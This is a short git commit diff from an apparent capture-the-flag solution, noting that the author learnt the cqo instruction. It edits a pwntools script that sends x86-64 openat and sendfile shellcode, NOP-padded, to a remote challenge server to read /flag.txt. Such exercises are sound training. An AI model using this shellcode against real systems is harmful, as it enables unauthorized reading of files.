learnt about the cqo instruction that sign-extends rax into rdx

2024-10-23 14:17:52 +00:00
parent 8ba0d691c2
commit 24121c97b3
2 changed files with 5 additions and 5 deletions
@@ -8,8 +8,8 @@ r = remote("challenge.bugpwn.com", 1004)

 # openat + sendfile
 shellcode="""
-lea rsi, [rdx+30]
-xor rdx, rdx
+lea rsi, [rdx+29]
+cqo
 xor r10, r10
 add ax, 257
 syscall
@@ -24,4 +24,4 @@ shellcode += b"/flag.txt\0"
 shellcode += b"\x90"*(4096-len(shellcode))
 r.sendline(shellcode)

-r.interactive()
+r.interactive()